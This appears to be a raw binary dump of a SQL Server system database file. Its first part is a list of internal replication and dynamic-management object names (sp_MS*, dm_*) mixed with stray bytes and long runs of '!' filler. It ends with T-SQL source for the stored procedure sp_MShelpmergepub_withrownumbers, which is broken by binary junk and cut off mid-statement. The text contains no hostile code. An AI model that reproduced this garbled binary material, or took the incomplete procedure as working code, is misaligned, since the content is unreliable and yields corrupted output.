)001P i#hsp_MScheckvalidsystables00ŨP Whsp_MSgetfiltercolumnlist00qP Tsp_replrethrow00VԴP Sfsp_ORAValidateRowFilter00?MP jsp_MScheck_palroleinpubdb00oV <^dm_os_waiting_tasks00AfP f,ljsp_help_fulltext_catalogs00CP nZsp_MShelp_profile00sP dhelsp_procedure_params_rowset001P YYtsp_MScreate_common_dist_tables00U}V pdm_exec_background_job_queue00aP sbsp_MSuniqueobjectname00FPC܉܉rsp_MSmakeconflicttable_sqlclr00P wNvsp_MSscript_compensating_insert00yP nsp_setsubscriptionxactseqno00/P zlsp_MSmerge_alterschemaonly00NP R(sp_MSrepl_verify_oracle_client_version00'7P $^sp_helpsubscription00FNxfn_replisvalidwindowsloginformat00zP NTsp_updatestats00IF">=>Vdm_exec_cursors001
FNo)o)`fn_repltagcustomproc00YNP O)Pnsp_table_constraints_rowset00WQ)V ndm_db_missing_index_details00(W3P psp_MScreatedisabledmltrigger00*h4P RRjsp_hadr_get_target_server002@FNUdfn_replgetparsedddlcmd00@U b_dm_pdw_request_steps00jGP ))fsp_MSdrop_qreader_agent00eLP NNtsp_MSpurgepartialmergesnapshot00$NP ojsp_ORAenumpublishertables00\VP S>jsp_MSdrop_repl_job_unsafe00leP vjsp_MScheck_Jet_Subscriber00P lsp_cdc_disable_table_tranx00eV #Cbdm_pdw_nodes_os_hosts00PP XZsp_MSdrop_article00ZP sp_MSdelete_specifiedcontentsandtombstone00BP xsp_MShelpmergepub_withrownumbers00P sp_MSreinitoverlappingmergepublications00HP \$$bsp_getmergedeletetype00mP 7vsp_MSadd_merge_partition_column00}P 9?tsp_MScheck_blob_filter_columns00zP ]&^Zsp_MSupdaterecgen00>P pfbsp_MSinsertgenhistory00~P 66dsp_MSvalidatecommongen00oFNPfn_MStestbit00G=P ?Jsp_MSrequestreenumeration_lightweight00 X cxrxp_instance_regaddmultistring00z/P (Tsp_MSforeachdb!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
N
jx

0h
*
B	8NN	Dn~(VvT0`0,"
&! (K008HX HEHEjsp_control_plan_guide_int00hoP ZRsp_procoption006P ojsp_MScopyscriptfile_merge00lˣP őfsp_enumoledbdatasources00P Tw?jsp_MSispkupdateinconflict00:P ߅ϊRsp_grantlogin00>P 4Bbsp_MSmark_proc_norepl003P ^sp_datatype_info_9000P 
xsp_MShelp_subscriberside_history00P Kmbsp_MShelp_publication00P xsp_MSislogreaderjobnamegenerated00P \sp_MSmove_gen_rows00CP psp_MSagent_retry_stethoscope00P ɒXsp_validatecache00e)V ixZpdw_health_alerts00V qy~ydCONSTRAINT_TABLE_USAGE00EV Ⱦbdm_pdw_nodes_os_nodes00DV bspt_parameters_system00P ||`sp_clearisreplicated00_X $x$xpsp_replincrementlsn_internal00wP bbsp_MSadd_subscription00,P fsp_column_privileges_ex00,PCOZsp_execute_policy00|V ldm_pdw_query_stats_xe_file00P 00nsp_SetPublicInterfaceObject00V |ndm_xe_session_event_actions00P YYjsp_MSgetFixPALRoleAppLock00@0P oolsp_MSreplclosesymmetrickey00}4P <psp_MSenum_replication_status00E+6P w1nsp_MShelptracertokenhistory00y9IFW
k
|dm_logconsumer_privatecachebuffers00`5;P (bsp_MSaddschemaarticle00!=V   Xspt_columns_view00?V 3G3GVsysprocesses_ex00AP Zsp_MSrepl_DistributorReplMonitorAccess004@MU X_pdw_diag_events00OMP `sp_changepublication00SX DIXsp_resyncexecute00
YP OcHysp_add_log_shipping_primary_secondary001\FSRbZfn_cdc_is_bit_set00P  'B'tsp_helpmergealternatepublisher007P QNhsp_MScheck_article_order002WP sp_MScreatelightweightprocstriggersconstraints00BLP \}lsp_MShaschangeslightweight!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n&^

,
Np
,
J	R	0`8Bh
V`0n3"	>200UP 00`sp_indexes_90_rowset00LP MMnsp_tables_info_90_rowset_6400P >1Xsp_user_counter700P  YVsp_MSmarkreinit009WP hsp_MSconflicttableexists00CV bdm_xe_session_targets00P Ytsp_MSadd_merge_anonymous_agent00P Jjdsp_MSget_repl_commands00.P N|sp_stopmergepushsubscription_agent00tP 5={tsp_MSrepl_linkedservers_rowset00qVP 77fsp_primary_keys_rowset200P sp_MScreate_sysmergeschemaarticles_table00
IF44ndm_sql_referencing_entities00V HRXdm_audit_actions00P 1sp_MSpeerconflictdetection_statuscollection_sendresponse003P W$/rsp_MSmerge_upgrade_subscriber00IV M*+zdm_hadr_availability_group_states008ZP u lsp_MSdeletepeerconflictrow00EZP SSsp_hadr_verify_replication_publisher00`P !hVsp_MSgetversion00dP ɂm^sp_helptracertokens00P "0`sp_MSmerge_alterview00P #xsp_mergemetadataretentioncleanup00LP (xsp_MScreate_logical_record_views003ǗP ?Tdsp_MSmakeconflicttable00oP JXsp_ORAgetversion00'P rsp_CheckOracleAdminPrivileges00yP 8J^sp_table_privileges00 P DDtsp_MSrepl_validate_dts_package00OP nsp_MSfixupaltsnapshotfolder00P 1Xsp_user_counter500gFN-pfn_MSrepl_map_resolver_clsid00]V \dm_os_ring_buffers00FNZfn_cdc_get_source00wX DIPsp_unprepare00(P ކЊPsp_denylogin00P %Yhsp_MSadjust_pub_identity00P \sp_approlepassword00P ~sp_MSdrop_expired_mergesubscription00=bP 9:sp_MSevaluate_change_membership_for_all_articles_in_pubid00P ^>o>`sp_check_join_filter00CP z@sp_MScheck_functions_indirectly_in_view00P EEsp_MScheck_allparents_wellpartitioned00$P XX\sp_MSdroptemptable00P hhrsp_MSenumdeletes_forpartition00P mm^sp_MSgetrowmetadata00xP /zm^sp_MSgetreplicainfo00E%P sp_MSpostapplyscript_forsubscriberprocs00iP ~sp_MSmap_partitionid_to_generations00FNpfn_MSMerge_get_ranges_needed00P 
Rsp_MShelptype!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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00I<$IFRdm_fts_parser00%P _tsp_changearticlecolumndatatype00
[0P ,,fsp_foreign_keys_rowset3003V `dm_tran_commit_table00p7P `jsp_MSrepl_DistDBPALAccess004BIFtdm_cryptographic_provider_keys00 EV jldm_fts_outstanding_batches00K$IP rrVsp_dropdatatype00VLP ,
Xsp_MSreset_queue009mLP R_Sfsp_linkedservers_rowset00NV Zpdw_distributions009UX --bsp_server_diagnostics00eP W:zjsp_reinitpullsubscription00hIF)jfn_MSxe_read_event_stream00{P bZsp_scriptxdelproc00'zP 7ohsp_MSreset_queued_reinit00P 1Zsp_user_counter1000>P lsp_reinitmergesubscription00SP sp_enable_heterogeneous_subscription00&IFKendm_db_missing_index_columns00P <bhsp_MSFixSubColumnBitmaps00P )rlsp_MSCheckmergereplication005P "-rsp_MSmerge_dropdownlevelprocs00IFffrfn_procedure_params_90_rowset00^P zsp_MSrepl_mergeagentstatussummary00P dsp_MShelp_subscription00aP pTsp_table_types00cP @Vzsp_MSsetcontext_bypasswholeddleventbit00s+FN77`fn_replprepadbinary800P _bsp_MSset_timestamp_bm00~V Xdm_repl_tranhash00vP BKnsp_MSprepare_sub_for_detach00!P iTsp_helparticle00P x Yjsp_MScheck_tran_retention00EP uvsp_MSmerge_is_snapshot_required00+P Q`sp_srvrolepermission00P `sp_MSadd_publication00RP 33bsp_dropmergepartition00P g8tsp_MSsetup_function_list_table00gP }jjdsp_MSenumchangesdirect00mP 3^sp_MSmakeupdateproc00& X Xsp_OAGetProperty00p%P Ebsp_MSSQLDMO70_version!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!BHh
N
jP
d
			0j>rZ$Z.`t0)"i/00'P GGtsp_MSgetdynamicsnapshotapplock00P ZJsp_rename00@P +2`sp_MSmaketrancftproc00P5P Ò\sp_dropremotelogin00oP b~sp_MSrepl_helpreplicationdboptionex00xP ;;jsp_MSfixupdistributorinfo00]P Bodsp_addpullsubscription00*P A`sp_cdc_disable_table000sP $nsp_is_makegeneration_needed00lP )+vvsp_MSaddmergedynamicsnapshotjob003P `psp_MSrepl_agentstatussummary00lP hsp_changelogreader_agent00V 3`dm_os_memory_brokers00fP *Zsp_MSdynamicsnapshotjobexistsatdistributor00NP 		psp_MSismergejobnamegenerated00zFP 6jEjvsp_procedure_params_100_rowset200OP rsp_MSenum_merge_subscriptions00=PP Psp_autostats00RFNm\fn_sqlvarbasetostr00rSP \\hsp_assemblies_rowset_rmt00CVP ))hsp_columns_90_rowset_rmt00#ZP (msp_MScomputemergearticlescreationorder008cIF9<R<dm_exec_cached_plan_dependent_objects00v$fP sp_MSpeerconflictdetection_topology_sendrequest00kU r_dm_pdw_diag_processing_stats00rP ÒPsp_addserver00ݘuP Qeyehsp_MSchecksnapshotstatus00jvP &_mhsp_MSgetlogshipagentpath00σP tsp_MShelp_distribution_agentid006?V Hopenkeys00$P ^sp_MSarticlecleanup00P dsp_MSexecwithlsnoutput00U 4d_dm_pdw_online_backups00X QDHItsp_new_parallel_nested_tran_id00X 11sp_fulltext_semantic_register_language_statistics_db_internal00緰V Ighdm_os_memory_allocations00	P ^nsp_MShelp_identity_property00ܻFNXfn_cdc_job_entry00)|!P 2psp_MSdroplightweighttriggers00_P l5vsp_MSaddlightweightmergearticle00X \^xp_instance_regread8
J
0`

		2f.Bj&LX~`o0("-A&00P nnfsp_MSupsertschemachange00pɣP *tvsp_MSgetpartitionsnapshotfolder00贲P psp_validatemergesubscription00kP yXsp_MSsetartprocs00FNMMhfn_peerconflicttablename00X pqdsp_trace_generateevent00|
P 4wsp_MSproxylogshippingmonitorhelpsecondary00|P g|sp_syspolicy_unsubscribe_from_policy_category005V Kczpdw_table_distribution_properties00kP 4jsp_MSrepl_addsubscription00P kkbsp_cdc_create_objects00ZP 99sp_cdc_cleanup_change_table_internal00?P N<u<bsp_table_types_rowset00DP s__Zsp_MSsetgentozero00Y)P Mnsp_grant_publication_access006^V ::`spt_table_types_view00_P h`sp_MSdelsubrowsbatch00P @`sp_MSenum_replqueues00!P +\zbsp_createmergepalrole00#P Ylsp_MSrepl_startup_internal00Q)P 1UTsp_server_info00W+P E|dsp_MSdropview_internal00,P Jlsp_MSadd_repl_commands27hp00M/P bsp_ORASetXactBatching004P \P]bsp_helplinkedsrvlogin00Q;P ~zsp_change_subscription_properties00EP A/Zsp_MSupdate_subscriber_tracer_history00=aFP ˫vsp_getqueuedarticlesynctraninfo00MP +HTsp_dropmessage00PRP A^Psp_tables_ex00LfZP Z3ZXsp_MSdeleteretry00/m[P tZsp_cdc_change_job00\X fsp_fulltext_keymappings00^P sjH{tsp_startpullsubscription_agent00taP zsp_MSreleasemakegenerationapplock00[aP %^sp_dropmergearticle00aP psp_MSaddsubscriptionarticles00j8VP Tcpsp_MScheckfailedprevioussync00PPCsp_FuzzyLookupTableMaintenanceUninstall00 X Jsp_OAStop,T
z
 
x$,
P
			^<n2fZl<`0%"*,!6t00 P k|sp_MSprocesslogshippingmonitorhistory00P a$Zsp_IHaddpublisher00P Etsp_MSscript_trigger_assignment00@P ##sp_MSreleaseMergeUpgradeSubscriberAppLock00$IFZZhfn_remote_provider_types00ŠV tdm_pdw_nodes_tran_active_snapshot_database_transactions00fV ccndm_db_mirroring_connections00AF+jGeometryEnvelopeAggregate00P ppIyrsp_add_log_shipping_alert_job00'P rsp_changetracking_time_to_csn00ZRU d_pdw_loader_run_stages00dP dh`sp_MScdc_cleanup_job00bFNVVNfn_replrotr00u"U \\_pdw_health_component_status_mappings00$(IFrdm_db_index_operational_stats00(+IF\fn_remote_schemata000P fsp_ORAGetTablespaceInfo003P Y^sp_MSenum_logreader00O4P ԏRsp_MSexclause00a@5P iisp_delete_log_shipping_secondary_database_internal00$5FNZcolumn_definition0036P iiXsp_MSenumchanges00=P OQRsp_helplogins00AP ]Gyrsp_logshippinginstallmetadata00WV 	0dpdw_loader_backup_runs00^P /$|sp_MSrepl_snapshot_helppublication008lP lsp_MSadd_logreader_history00TkmP ||bsp_MSsetreplicastatus00	oP qh~sp_MSlocalizeinterruptedgenerations00epP )Zsp_MSchangedynsnaplocationatdistributor00mqP |sp_MSdetectinvalidpeersubscription00j{P ^sp_MScontractsubsnb00|V bdm_db_partition_stats00C}V uu`trace_event_bindings00S~P 
kkvsp_MSenum_logicalrecord_changes00w~P QQbsp_MSrepltrigredefine00㸀TFiivfn_MSdetermine_related_articlesR|
@
<n


	r		|*f
h H:<`0&"
-}g00t3P >sp_fulltext_semantic_unregister_language_statistics_db00M8P 9|sp_refresh_heterogeneous_publisher00:FN

lfn_replmerge_get_cmdcounts00yA X ahZsp_OAGetErrorInfo00/)OP dr^sp_sproc_columns_9000UP ;|sp_MSinsertlightweightschemachange00?]P }![2hsp_dbmmonitorchangealert00w=dP D&S&bsp_columns_100_rowset00:uP f	Vsp_MSenum_merge00vV dm_pdw_nodes_tran_current_transaction00eyX )EFJsp_availability_group_command_internal00DP hsp_MSrepltrigpreparecert00P ~sp_getsubscription_status_hsnapshot00+ZV dm_resource_governor_resource_pool_affinity00xP Xsp_cdc_start_job00P Tsp_createstats00@P fsp_MSrepl_articlecolumn00P jsp_MSdrop_logreader_agent00P >>>lsp_table_privileges_rowset004P z!^sp_MSpost_auto_proc00tľP cϊNsp_addlogin003X ..bxp_deleteprivatequeue00P ansp_MSdroparticleconstraints00FNpdfn_MSis_col_replicated00P o.Xsp_droppublisher00P Kfsp_MSsub_check_identity00j,FNdfn_cdc_map_lsn_to_time00P 7|sp_MSchange_merge_agent_properties00EP Xsp_execresultset00*,P mbsp_dropanonymousagent00P ^sp_cdc_enable_table00P lsp_helpreplicationdboption00BP 5J5Jlsp_MSscript_update_subwins00P յtsp_MStran_is_snapshot_required00 P Ũdsp_MS_marksystemobject00P TA{jsp_MSsetcontext_replagent00:P !#jsp_helpmergearticlecolumn00Ex X Nsp_OAMethodR
8
x @


	N		6f,F@ F`<(hA%]5Rv6\create procedure sys.sp_MShelpmergepub_withrownumbers (
	@publication	sysname = '%',	  /* The publication name */
	@found			int			= NULL	OUTPUT,
	@publication_id uniqueidentifier = NULL OUTPUT,
	@reserved		nvarchar(20) = NULL,
	@publisher		sysname = NULL,
	@publisher_db	sysname = NULL
	) AS

	SET NOCOUNT ON

	/*
	** Declarations.
	*/

	declare @retcode			int
	declare @no_row				bit
	declare @has_subscription	bit
	declare @pubid 			uniqueidentifier

	declare @tmp_tbl TABLE (
		id						int					identity NOT NULL,
		name					sysname				collate database_default not null,
		description				nvarchar(255)		collate database_default null,
		status					tinyint				NULL,
		retention				int					NULL,
		sync_mode				tinyint				NULL,
		allow_push				int					NULL,
		allow_pull				int					NULL,
		allow_anonymous			int					NULL,
		centralized_conflicts	int					NULL,
		priority				float(8)			NOT NULL,
		snapshot_ready			tinyint				NULL,
		publication_type		int					NULL,
		pubid					uniqueidentifier	NOT NULL,
		snapshot_jobid			binary(16)			NULL,
		enabled_for_internet	int					NULL,
		dynamic_filters			int					NULL,
		has_subscription		bit					NULL,
		-- Portable snapshot support
		snapshot_in_defaultfolder		bit default 1		NOT NULL,
		alt_snapshot_folder		nvarchar(255)		collate database_default null,
		-- Pre/post-snapshot commands
		pre_snapshot_script		nvarchar(255)		collate database_default null,
		post_snapshot_script	nvarchar(255)		collate database_default null,
		-- Snapshot compression
		compress_snapshot		bit default 0		NOT NULL,
		-- Post 7.0 FTP support
		ftp_address				sysname				collate database_default null,
		ftp_port				int					NOT NULL,
		ftp_subdirectory		nvarchar(255)		collate database_default null,
		ftp_login				sysname				collate database_default null,
		conflict_retention		int					NULL,
		keep_partition_changes	int					NULL,
		allow_subscription_copy int					NULL,
		allow_synctoalternate	int					NULL,
		validate_subscriber_info nvarchar(500)		collate database_default null,
		backward_comp_level		int					not null default 10, --defaulted to 70 server
		publish_to_activedirectory			bit					null,
		max_concurrent_merge	int					NULL,
		max_concurrent_dynamic_snapshots int  NOT NULL default 0,
		use_partition_groups	int	default 0,
		num_of_articles			int default 0,
		replicate_ddl			int default 0,
		publication_number		smallint			NOT NULL default 0,
		allow_subscriber_initiated_snapshot bit default 0,
		allow_web_synchronization bit default 0,
		web_synchronization_url nvarchar(500)		collate database_default null,
		allow_partition_realignment	bit	default 1,
		retention_period_unit	tinyint default 0,
		has_downloadonly_articles bit default 0,
		decentralized_conflicts	int					NULL,
		generation_leveling_threshold	int NULL default 0,
		automatic_reinitialization_policy bit default 0
		-- ANY COLUMNS ADDED HERE AND RETRIEVED IN THE RESULTSET OF THIS PROC SHOULD PROBABLY ALSO BE ADDED TO
		-- sp_MShelpmergepub_withoutrownumbers. sp_MShelpmergepub_withrownumbers is called by UI and SQL2000 or prior subscribers.
		-- sp_MShelpmergepub_withoutrownumbers is called by Yukon subscribers. We need to make sure that the column list
		-- in the resultset is the same between these procs.
	)

	/*
	** Initializations.
	*/
	select @has_subscription = 0

	if @found is NULL 
	BEGIN
		select @no_row=0
	END
	else
	BEGIN
		select @no_row=1
	END

	if @publisher is NULL
		set @publisher=publishingservername()
	if @publisher_db is NULL
		set @publisher_db=db_name()

	select @found		= 0	
	
	/*
	** Running sp_help is OK from everywhere, whether enabled for publishing or not
	*/
	
	IF object_id('sysmergesubscriptions') is NULL
		RETURN (0)


	/*
	** Parameter Check:	 @publication.
	** Check to make sure that there are some publications
	** to display.
	*/
	if @publication IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publication', 'sp_MShelpmergepub_withrownumbers')
		RETURN (1)
	END
		
    if @publication <> '%'
    begin
        -- do a pal role check
        select @pubid = pubid from dbo.sysmergepublications 
            where UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name() and name = @publication
        if @pubid is not NULL
        begin
            if {fn ISPALUSER(@pubid)} <> 1
            begin
                return 0
            end
        end
    end

	IF LOWER(@reserved collate SQL_Latin1_General_CP1_CS_AS) = 'internal'
		GOTO SelectPubs
	
	if	NOT EXISTS (select * FROM dbo.sysmergepublications pub, dbo.sysmergesubscriptions sub
		WHERE pub.name like @publication  
			and UPPER(pub.publisher)=UPPER(@publisher) 
			and pub.publisher_db=@publisher_db 
			and sub.pubid = pub.pubid  
			and UPPER(sub.subscriber_server) = UPPER(@publisher)
			and sub.db_name = @publisher_db)
		BEGIN
			select @found = 0
			RETURN (0) 
		END
	else
		BEGIN
			select @found = 1
			select @publication_id = pubid FROM dbo.sysmergepublications 
				WHERE name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db 
			if exists (select * from dbo.sysmergesubscriptions where pubid<>subid and pubid in 
				(select pubid from dbo.sysmergepublications where name like @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db))
				select @has_subscription = 1
			if @no_row <> 0
				RETURN(0)
		END

SelectPubs:
	
	/* This is valid at all sites - used for decentralized conflicts */
	IF LOWER(@reserved collate SQL_Latin1_General_CP1_CS_AS) = 'internal'
		begin
			INSERT into @tmp_tbl(name, description, status, retention, sync_mode, 
					allow_push, allow_pull, allow_anonymous, 
					centralized_conflicts, 
					priority, snapshot_ready, publication_type, pubid, snapshot_jobid, 
					enabled_for_internet, 
					dynamic_filters, snapshot_in_defaultfolder, alt_snapshot_folder, pre_snapshot_script,
					post_snapshot_script, compress_snapshot, ftp_address, ftp_port, 
					ftp_subdirectory, ftp_login, conflict_retention, 
					keep_partition_changes, allow_subscription_copy, allow_synctoalternate, 
					validate_subscriber_info,backward_comp_level, publish_to_activedirectory, max_concurrent_merge, 
					max_concurrent_dynamic_snapshots, use_partition_groups, replicate_ddl, publication_number, 
					allow_subscriber_initiated_snapshot, 
					allow_web_synchronization, web_synchronization_url,allow_partition_realignment, retention_period_unit,
		            has_downloadonly_articles, decentralized_conflicts, generation_leveling_threshold, automatic_reinitialization_policy
					)
			select	pubs.name, pubs.description, pubs.status, pubs.retention, pubs.sync_mode, 
					pubs.allow_push, pubs.allow_pull, pubs.allow_anonymous, pubs.centralized_conflicts,
					subs.priority, pubs.snapshot_ready, pubs.publication_type, pubs.pubid, pubs.snapshot_jobid,
					pubs.enabled_for_internet, 
					pubs.dynamic_filters,
					pubs.snapshot_in_defaultfolder,
					pubs.alt_snapshot_folder,
					pubs.pre_snapshot_script,
					pubs.post_snapshot_script,
					pubs.compress_snapshot,
					pubs.ftp_address,
					pubs.ftp_port,
					pubs.ftp_subdirectory,
					pubs.ftp_login,
					pubs.conflict_retention,
					pubs.keep_before_values,
					pubs.allow_subscription_copy,
					pubs.allow_synctoalternate,
					case when pubs.validate_subscriber_info = N'' then NULL else pubs.validate_subscriber_info end,
					pubs.backward_comp_level,
					case when pubs.ad_guidname is NULL then 0 else 1 end,
					pubs.max_concurrent_merge,
					pubs.max_concurrent_dynamic_snapshots,
					pubs.use_partition_groups,  -- select what the table has and rmo will decide
					pubs.replicate_ddl,
					pubs.publication_number,
					pubs.allow_subscriber_initiated_snapshot,
					pubs.allow_web_synchronization,
					pubs.web_synchronization_url,
					pubs.allow_partition_realignment,
					pubs.retention_period_unit,
				!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<.
	hA+Ճp6\	sys.fn_MSmerge_hasdownloadonlyarticles(pubs.pubid),
					pubs.decentralized_conflicts,
					pubs.generation_leveling_threshold,
					pubs.automatic_reinitialization_policy
			FROM	dbo.sysmergesubscriptions	subs,
					dbo.sysmergepublications	pubs
					WHERE pubs.name LIKE @publication
						AND UPPER(pubs.publisher)=UPPER(@publisher) 
						AND pubs.publisher_db=@publisher_db
						AND subs.subid = pubs.pubid
						AND subs.subscriber_type = 1
						AND (1 = {fn ISPALUSER(pubs.pubid)} or
							  1 = is_srvrolemember('db_owner') or
							  1 = isnull(is_member('replmonitor'),0))
			ORDER BY name
		end
	/* This is valid only at publishers and republishers */
	else
		begin
			INSERT into @tmp_tbl(name, description, status, retention, sync_mode, 
					allow_push, allow_pull, allow_anonymous, 
					centralized_conflicts, 
					priority, snapshot_ready, publication_type, pubid, snapshot_jobid, 
					enabled_for_internet,
					dynamic_filters, has_subscription,
					snapshot_in_defaultfolder, alt_snapshot_folder, pre_snapshot_script, 
					post_snapshot_script, compress_snapshot, ftp_address,
					ftp_port, ftp_subdirectory, ftp_login, conflict_retention, 
					keep_partition_changes, allow_subscription_copy, allow_synctoalternate, 
					validate_subscriber_info, backward_comp_level, publish_to_activedirectory,max_concurrent_merge,
					max_concurrent_dynamic_snapshots,use_partition_groups, replicate_ddl, publication_number,
					allow_subscriber_initiated_snapshot,
					allow_web_synchronization, web_synchronization_url,allow_partition_realignment, retention_period_unit,
					has_downloadonly_articles, decentralized_conflicts, generation_leveling_threshold, automatic_reinitialization_policy)
			select	pubs.name, pubs.description, pubs.status, pubs.retention, pubs.sync_mode, 
					pubs.allow_push, pubs.allow_pull, pubs.allow_anonymous, pubs.centralized_conflicts,
					subs.priority, pubs.snapshot_ready, pubs.publication_type, pubs.pubid, pubs.snapshot_jobid,
					pubs.enabled_for_internet,
					pubs.dynamic_filters, case when exists (select * from dbo.sysmergesubscriptions where pubid<>subid and pubid in 
												(select in_pubs.pubid from dbo.sysmergepublications in_pubs where in_pubs.name = pubs.name 
													and UPPER(in_pubs.publisher)=UPPER(@publisher) and in_pubs.publisher_db=@publisher_db))
										  then 1
										  else 0 end,
					pubs.snapshot_in_defaultfolder, pubs.alt_snapshot_folder,
					pubs.pre_snapshot_script, pubs.post_snapshot_script,
					pubs.compress_snapshot, pubs.ftp_address,
					pubs.ftp_port, pubs.ftp_subdirectory,
					pubs.ftp_login,
					pubs.conflict_retention,
					pubs.keep_before_values,
					pubs.allow_subscription_copy,
					pubs.allow_synctoalternate,
					case when pubs.validate_subscriber_info = N'' then NULL else pubs.validate_subscriber_info end,
					pubs.backward_comp_level,
					case when pubs.ad_guidname is NULL then 0 else 1 end ,
					pubs.max_concurrent_merge,
					pubs.max_concurrent_dynamic_snapshots,
					pubs.use_partition_groups,
					pubs.replicate_ddl,
					pubs.publication_number,
					pubs.allow_subscriber_initiated_snapshot,
					pubs.allow_web_synchronization,
					pubs.web_synchronization_url,
					pubs.allow_partition_realignment,
					pubs.retention_period_unit,
					sys.fn_MSmerge_hasdownloadonlyarticles(pubs.pubid),
